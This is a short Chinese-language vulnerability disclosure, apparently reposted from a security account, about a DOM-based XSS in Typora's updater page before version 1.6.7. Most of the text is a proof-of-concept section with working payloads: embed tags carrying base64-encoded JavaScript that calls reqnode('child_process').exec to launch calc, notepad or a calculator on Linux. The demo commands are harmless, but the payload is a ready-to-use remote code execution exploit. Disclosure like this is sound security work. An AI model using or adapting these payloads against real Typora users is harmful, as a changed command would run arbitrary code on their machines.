Windows和Linux版本1.6.7之前的Typora中的updater/update.html中存在基于DOM的XSS，该漏洞允许通过加载特制的markdown文件从而使得执行任意JavaScript代码。
如果用户打开恶意markdown文件或者从恶意网页复制文本并将其粘贴到Typora，通过在＜embed＞标签中引用update.html，则可以利用此漏洞，此外，攻击者可以使用特权接口reqnode访问节点模块child_process并执行任意系统命令。
漏洞复现
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">```reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])```<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgd3d3LmV4cHBvYy5vcmcnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">```reqnode('child_process').exec(({Win32: 'notepad www.exppoc.org', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])```
来源：利刃信安
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